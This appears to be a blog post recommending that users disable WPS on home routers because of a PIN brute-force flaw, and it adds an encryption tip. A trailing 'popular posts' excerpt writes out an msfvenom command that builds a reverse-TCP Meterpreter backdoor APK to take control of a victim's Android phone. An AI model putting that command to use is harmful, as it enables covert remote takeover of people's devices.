Skip to main content

Why you should disable WPS!

What's WPS and what it does?

[Wi-Fi Protected Setup]
WPS is a wireless networking standard that tries to make connections between a router and wireless devices faster and easier. It works only for wireless networks that have WPA Personal(deprecated) or WPA2 Personal(recommended) security.

Nowadays, modern routers come with this new technology known as WPS or Wi-Fi Protected Setup. Although, WPS makes it easier and faster to connect your devices to your home network, it, somehow, contains some security flaws, that are well-documented on the internet.

Is WPS recommended?

Even though it's enabled by default, you should find a way to disable it because of the Brute Force Vulnerability. Many Wi-Fi access points that support WPS may be affected. Here are some links which may be useful in this context:
  • Article 1(HowToGeek)
  • Article 2(VU#723755)

  • Normally, you can't just connect your wireless devices to a wireless network anywhere, unless you know the SSID and the WPA-Key. You have to first of all choose the network you want to connect with, and enter its security key, but with WPS-enabled, it's not the case anymore.

    WPS was originally, invented by the Wi-Fi Alliance.

    How WPS can affect your network?

    An attacker withing required range of the wireless access point, may be able to brute force the WPS PIN and retrieve the password for the wireless network, changing the configuration of the access point, or cause a denial of service. [Reference]


    Disable WPS!!!!

    You can do so by entering your ADSL Modem through its IP (usually, and disabling WPS on the interface displayed to you.

    Further security notes to take:
  • Ensure that you're using WPA2-AES instead of WPA2-TKIP or WPA-TKIP, because encryption type TKIP is no longer considered secure. AES(Advanced Encryption Standard) seems to be a more secure encryption Protocol.
  • Popular posts from this blog

    How to install the FReMP Stack on Ubuntu 20.04?

    Technology keeps on evolving everyday and developers constantly look for more and more things to get their hands-on. In this article, I will be introducing a new full stack framework, called FReMP . The abbreviation used is not the best one, but it just gets the work done in justifiable ways. What on earth is FReMP stack? The FReMP stack is a highly scalable full stack framework, which can be used to build awesome web apps. The acronym stands for F lask, Re actJS, M ongodb and P ython. Unlike other famous stacks such as MEAN and MERN, the FReMP stack uses Python to handle back-end operations. Examples of such operations can be machine learning and artificial intelligence operations, web scraping tools or digital image processing. Step 0: Update your list of installed packages While this is optional, it is always a good practice to update your list of packages and upgrade them for newer versions before starting any installation on your environment. Run the following to do so: $ apt-get

    [Android + msf]How to use Metasploit Framework on an Android Device?

    Metasploit Framework(msf) Requirements: Linux-based OS You'll need to have msfconsole installed on your machine You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor.  Install apktool as well. Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft. Steps 1) First of all open up your terminal. (Ctrl + Alt + T) $ sudo apt-get update Update your repositories before starting. 2) Once updated, we can start. Simply follow the steps below to get started: $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

    Learn how to make an auto login bot with Autoit

    Start by creating a new directory and make an autoit script. Edit the script and include IE.au3: #include    Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically. It's simple, don't panic! You need to call a function with any name you want. Let's take loginfb() ! call ("loginfb") So, we only have to write the function loginfb now! Func loginfb() Global $oIE = _IECreate ("") Local $username = _IEGetObjByName ($oIE, "email") Local $password = _IEgetObjByName ($oIE, "pass") Local $button = _IEGetObjById ($oIE, "loginbutton") _IEFormElementSetValue ($username, "") // your email here! _IEFormElementSetValue ($password, "") //your fb password here! Send("{Enter}") EndFunc $username and $password are variables. "email" and "pass" are the names given to the textarea